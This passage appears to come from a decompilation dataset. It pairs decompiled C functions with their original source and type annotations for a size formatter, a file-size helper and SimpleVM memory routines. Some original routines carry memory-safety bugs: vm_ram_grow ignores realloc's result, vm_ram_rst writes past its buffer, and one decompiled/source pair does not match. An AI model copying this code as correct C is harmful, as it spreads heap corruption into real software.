v4 = (unsigned int)(v4 + 1);
if ( (_DWORD)v4 == 5 )
{
v5 = "TiB";
goto LABEL_6;
}
}
result = snprintf(a1, a2, "%5jd %s", v3, (const char *)v7[v4]);
}
return result;
}

canonical_decompiled_code:
int __fastcall func8(char *a1, size_t a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rcx
__int64 v4; // rax
const char *v5; // r8
int result; // eax
__int64 v7[7]; // [rsp+0h] [rbp-38h]

v7[1] = (__int64)"KiB";
v3 = a3;
v7[2] = (__int64)"MiB";
v7[3] = (__int64)"GiB";
v7[4] = (__int64)"TiB";
if ( a3 <= 0x4000 )
{
v5 = "B ";
LABEL_6:
result = snprintf(a1, a2, "%5jd %s", v3, v5);
}
else
{
v4 = 1LL;
while ( 1 )
{
v3 >>= 10;
if ( v3 <= 0x4000 )
break;
v4 = (unsigned int)(v4 + 1);
if ( (_DWORD)v4 == 5 )
{
v5 = "TiB";
goto LABEL_6;
}
}
result = snprintf(a1, a2, "%5jd %s", v3, (const char *)v7[v4]);
}
return result;
}

original_code:
void format_size(char * buf, size_t buf_len, uintmax_t size) {
 const char * units[] = { "B  ", "KiB", "MiB", "GiB", "TiB" };
 unsigned int unit = 0;
 while (size > (1<<14)
   && unit+1 < sizeof(units)/sizeof(units[0])) {
  ++unit;
  size >>= 10;
 }
 snprintf(buf, buf_len, "%5jd %s", size, units[unit]);
}

canonical_original_code:
void format_size(char *buf, unsigned long buf_len, unsigned long size) {
 char *units[] = { "B  ", "KiB", "MiB", "GiB", "TiB" };
 unsigned int unit = 0;
 while (size > (1<<14)
   && unit+1 < sizeof(units)/sizeof(units[0])) {
  ++unit;
  size >>= 10;
 }
 snprintf(buf, buf_len, "%5jd %s", size, units[unit]);
}

variable_types:
buf
char *

variable_types:
units
char *[]

variable_types:
unit
unsigned int


decompiled_code:
__off_t __fastcall get_filesize(char *filename)
{
__off_t result; // rax
struct stat64 v2; // [rsp+0h] [rbp-98h] BYREF

memset(&v2, 0, sizeof(v2));
if ( (unsigned int)stat64(filename, &v2) )
result = -1LL;
else
result = v2.st_size;
return result;
}

canonical_decompiled_code:
__off_t __fastcall func9(char *filename)
{
__off_t result; // rax
struct stat64 v2; // [rsp+0h] [rbp-98h] BYREF

memset(&v2, 0, sizeof(v2));
if ( (unsigned int)func13(filename, &v2) )
result = -1LL;
else
result = v2.st_size;
return result;
}

original_code:
off_t get_filesize(const char * path) {
 struct stat st;
 memset(&st, 0, sizeof(st));
 if (!stat(path, &st)) {
  return st.st_size;
 } else {
  return -1;
 }
}

canonical_original_code:
long get_filesize(char *path) {
 struct stat st;
 memset(&st, 0, sizeof(st));
 if (!stat(path, &st)) {
  return st.st_size;
 } else {
  return -1;
 }
}

variable_types:
path
char *

variable_types: struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }

return_type: long

user_defined_types: struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }


repo: arrdem/SimpleVM

decompiled_code:
int __fastcall vm_ram_display(__int64 a1)
{
int result; // eax
__int64 v2; // rbx
__int64 v3; // rdx
__int64 v4; // rsi

result = *(_DWORD *)(a1 + 8);
if ( result > 0 )
{
v2 = 0LL;
do
{
v3 = 3 * v2;
v4 = (unsigned int)v2++;
result = printf(
"[%-3i] used:%-5i type:%-8X data:%-8X %-10i\n",
v4,
*(unsigned int *)(*(_QWORD *)a1 + 4 * v3 + 8),
*(unsigned int *)(*(_QWORD *)a1 + 4 * v3 + 4),
*(unsigned int *)(*(_QWORD *)a1 + 4 * v3),
*(unsigned int *)(*(_QWORD *)a1 + 4 * v3));
}
while ( *(_DWORD *)(a1 + 8) > (int)v2 );
}
return result;
}

canonical_decompiled_code:
int __fastcall func0(__int64 a1)
{
int result; // eax
__int64 v2; // rbx
__int64 v3; // rdx
__int64 v4; // rsi

result = *(_DWORD *)(a1 + 8);
if ( result > 0 )
{
v2 = 0LL;
do
{
v3 = 3 * v2;
v4 = (unsigned int)v2++;
result = printf(
"[%-3i] used:%-5i type:%-8X data:%-8X %-10i\n",
v4,
*(unsigned int *)(*(_QWORD *)a1 + 4 * v3 + 8),
*(unsigned int *)(*(_QWORD *)a1 + 4 * v3 + 4),
*(unsigned int *)(*(_QWORD *)a1 + 4 * v3),
*(unsigned int *)(*(_QWORD *)a1 + 4 * v3));
}
while ( *(_DWORD *)(a1 + 8) > (int)v2 );
}
return result;
}

original_code:
void vm_ram_display(VMRam* ram) {
    int i = 0;
    VMBlock b;
    while(i < ram->size) {
        b = ram->regs[i];
        printf("[%-3i] used:%-5i type:%-8X data:%-8X %-10i\n", i++, b.used, b.type, b.ptr, b.ptr);
    }
}

canonical_original_code:
void vm_ram_display(struct VMRam *ram) {
    int i = 0;
    struct VMBlock b;
    while(i < ram->size) {
        b = ram->regs[i];
        printf("[%-3i] used:%-5i type:%-8X data:%-8X %-10i\n", i++, b.used, b.type, b.ptr, b.ptr);
    }
}

variable_types: struct VMRam { struct VMBlock { int ptr; int type; int used; } *regs; int size; int used; } *

variable_types: i int

user_defined_types: struct VMRam { struct VMBlock *regs; int size; int used; }


decompiled_code:
__int64 __fastcall vm_ram_get(__int64 a1, int a2)
{
__int64 result; // rax
unsigned int *v3; // rdx

result = 0LL;
if ( *(_DWORD *)(a1 + 8) >= a2 )
{
v3 = (unsigned int *)(*(_QWORD *)a1 + 12LL * a2);
result = v3[2];
if ( (_DWORD)result )
result = *v3;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1, int a2)
{
__int64 result; // rax
unsigned int *v3; // rdx

result = 0LL;
if ( *(_DWORD *)(a1 + 8) >= a2 )
{
v3 = (unsigned int *)(*(_QWORD *)a1 + 12LL * a2);
result = v3[2];
if ( (_DWORD)result )
result = *v3;
}
return result;
}

original_code:
int vm_ram_get(VMRam* ram, int addr) {
    if((ram->size >= addr) && ram->regs[addr].used) {
        return ram->regs[addr].ptr;
    } else return 0;
}

canonical_original_code:
int vm_ram_get(struct VMRam *ram, int addr) {
    if((ram->size >= addr) && ram->regs[addr].used) {
        return ram->regs[addr].ptr;
    } else return 0;
}

variable_types: addr int

user_defined_types: struct VMBlock { int ptr; int type; int used; }


decompiled_code:
void *__fastcall vm_ram_grow(__int64 a1)
{
void *result; // rax

result = realloc(*(void **)a1, 24LL * *(int *)(a1 + 8));
if ( !(_DWORD)result )
{
puts("[GROW] FAILURE IS FAIL. TERMINATING.");
exit(1);
}
*(_DWORD *)(a1 + 8) *= 2;
return result;
}

canonical_decompiled_code:
void *__fastcall func3(__int64 a1)
{
void *result; // rax

result = realloc(*(void **)a1, 24LL * *(int *)(a1 + 8));
if ( !(_DWORD)result )
{
puts("[GROW] FAILURE IS FAIL. TERMINATING.");
exit(1);
}
*(_DWORD *)(a1 + 8) *= 2;
return result;
}

original_code:
void vm_ram_grow(VMRam *ram) {
    int i = realloc(ram->regs, ram->size * sizeof(VMBlock) * 2);
    if(i != ((void *)0)) {
        ram->size *= 2;
    } else {
        printf("[GROW] FAILURE IS FAIL. TERMINATING.\n");
        exit(1);
    }
}

canonical_original_code:
void vm_ram_grow(struct VMRam *ram) {
    int i = realloc(ram->regs, ram->size * sizeof(VMBlock) * 2);
    if(i != ((void *)0)) {
        ram->size *= 2;
    } else {
        printf("[GROW] FAILURE IS FAIL. TERMINATING.\n");
        exit(1);
    }
}


original_code:
VMBlock * vm_ram_malloc_dynamic(VMRam* ram) {
    if(ram->used > ram->size - MEM_PAD) {
        vm_ram_grow(ram);
    }
    ram->regs[ram->used].used = 1;
    return &ram->regs[ram->used++];
}

canonical_original_code:
struct VMBlock *vm_ram_malloc_dynamic(struct VMRam *ram) {
    if(ram->used > ram->size - MEM_PAD) {
        vm_ram_grow(ram);
    }
    ram->regs[ram->used].used = 1;
    return &ram->regs[ram->used++];
}

variable_types: struct VMRam { struct VMBlock *regs; int size; int used; } *

return_type: struct VMBlock { int ptr; int type; int used; } *


original_code:
void vm_ram_compact(VMRam* ram) {
    int i = 0, j = 0;
    while(i < ram->size) {
        if(ram->regs[i].used == 0) {
            break;
        } i++;
    }
    j = i;
    while((ram->regs[j].used != 1) && (i < ram->size)) {
        j++;
    }
    while(j < ram->size) {
        if(ram->regs[j].used == 1) {
            ram->regs[i].ptr = ram->regs[j].ptr;
            ram->regs[i].used = 1;
            ram->regs[i].type = ram->regs[j].type;
            vm_ram_free(ram, j, 0);
            i++;
        }
        j++;
    }
}

canonical_original_code:
void vm_ram_compact(struct VMRam *ram) {
    int i = 0; int j = 0;
    while(i < ram->size) {
        if(ram->regs[i].used == 0) {
            break;
        } i++;
    }
    j = i;
    while((ram->regs[j].used != 1) && (i < ram->size)) {
        j++;
    }
    while(j < ram->size) {
        if(ram->regs[j].used == 1) {
            ram->regs[i].ptr = ram->regs[j].ptr;
            ram->regs[i].used = 1;
            ram->regs[i].type = ram->regs[j].type;
            vm_ram_free(ram, j, 0);
            i++;
        }
        j++;
    }
}

variable_types: j int


decompiled_code:
char *__fastcall vm_ram_rst(__int64 a1)
{
void *v2; // rdi
__int64 v3; // r12
char *v4; // rdx
char *result; // rax
char *v6; // rdx

*(_DWORD *)(a1 + 12) = 0;
v2 = *(void **)a1;
if ( v2 )
free(v2);
v3 = *(int *)(a1 + 8);
v4 = (char *)malloc(12 * v3);
*(_QWORD *)a1 = v4;
result = &v4[12 * v3];
v6 = v4 - 12;
if ( (int)v3 >= 0 )
{
do
{
*(_DWORD *)result = (unsigned int)&VMNull;
result -= 12;
*((_DWORD *)result + 4) = 0;
*((_DWORD *)result + 5) = 0;
}
while ( result != v6 );
}
return result;
}

canonical_decompiled_code:
char *__fastcall func6(__int64 a1)
{
void *v2; // rdi
__int64 v3; // r12
char *v4; // rdx
char *result; // rax
char *v6; // rdx

*(_DWORD *)(a1 + 12) = 0;
v2 = *(void **)a1;
if ( v2 )
free(v2);
v3 = *(int *)(a1 + 8);
v4 = (char *)malloc(12 * v3);
*(_QWORD *)a1 = v4;
result = &v4[12 * v3];
v6 = v4 - 12;
if ( (int)v3 >= 0 )
{
do
{
*(_DWORD *)result = (unsigned int)&VMNull;
result -= 12;
*((_DWORD *)result + 4) = 0;
*((_DWORD *)result + 5) = 0;
}
while ( result != v6 );
}
return result;
}

original_code:
void vm_ram_rst(VMRam *ram) {
    ram->used = 0;
    if(ram->regs) {
        free(ram->regs);
    }
    ram->regs = malloc(ram->size * sizeof(VMBlock));
    int i = ram->size;
    while(i >= 0) {
        ram->regs[i].ptr = &VMNull;
        ram->regs[i].type = VMNull;
        ram->regs[i].used = VMFalse;
        i--;
    }
}

canonical_original_code:
void vm_ram_rst(struct VMRam *ram) {
    ram->used = 0;
    if(ram->regs) {
        free(ram->regs);
    }
    ram->regs = malloc(ram->size * sizeof(VMBlock));
    int i = ram->size;
    while(i >= 0) {
        ram->regs[i].ptr = &VMNull;
        ram->regs[i].type = VMNull;
        ram->regs[i].used = VMFalse;
        i--;
    }
}


decompiled_code:
__int64 __fastcall vm_ram_assign_static(__int64 a1, int a2, int a3)
{
__int64 result; // rax

while ( *(_DWORD *)(a1 + 8) < a2 )
vm_ram_grow(a1);
result = *(_QWORD *)a1 + 12LL * a2;
*(_DWORD *)result = a3;
*(_QWORD *)(result + 4) = 0x100000000LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func7(__int64 a1, int a2, int a3)
{
__int64 result; // rax

while ( *(_DWORD *)(a1 + 8) < a2 )
func3(a1);
result = *(_QWORD *)a1 + 12LL * a2;
*(_DWORD *)result = a3;
*(_QWORD *)(result + 4) = 0x100000000LL;
return result;
}

original_code:
void vm_ram_assign_static(VMRam *ram, int index, int value) {
    while(ram->size < index) vm_ram_grow(ram);
    if(!ram->regs[index].used) ram->regs[index].ptr = 0;
    ram->regs[index].ptr = value;
    ram->regs[index].used = 1;
    ram->regs[index].type = VMInteger;
}

canonical_original_code:
void vm_ram_assign_static(struct VMRam *ram, int index, int value) {
    while(ram->size < index) vm_ram_grow(ram);
    if(!ram->regs[index].used) ram->regs[index].ptr = 0;
    ram->regs[index].ptr = value;
    ram->regs[index].used = 1;
    ram->regs[index].type = VMInteger;
}

variable_types: index int

variable_types: value int


decompiled_code:
_DWORD *vm_ram_init()
{
_DWORD *v0; // r12
void *v1; // rax

v0 = malloc(0x10uLL);
v1 = malloc(0LL);
v0[2] = 0;
*(_QWORD *)v0 = v1;
return v0;
}

canonical_decompiled_code:
_DWORD *func9()
{
_DWORD *v0; // r12
void *v1; // rax

v0 = malloc(0x10uLL);
v1 = malloc(0LL);
v0[2] = 0;
*(_QWORD *)v0 = v1;
return v0;
}

original_code:
VMRam * vm_ram_init() {
    VMRam * ram;
    ram = malloc(sizeof(VMRam));
    ram->regs = malloc(sizeof(VMBlock) * MIN_MEM);
    memset(ram->regs, 0, sizeof(VMBlock) * MIN_MEM);
    ram->size = MIN_MEM;
    return ram;
}

canonical_original_code:
struct VMRam *vm_ram_init() {
    struct VMRam *ram;
    ram = malloc(sizeof(VMRam));
    ram->regs = malloc(sizeof(VMBlock) * MIN_MEM);
    memset(ram->regs, 0, sizeof(VMBlock) * MIN_MEM);
    ram->size = MIN_MEM;
    return ram;
}

return_type: struct VMRam { struct VMBlock { int ptr; int type; int used; } *regs; int size; int used; } *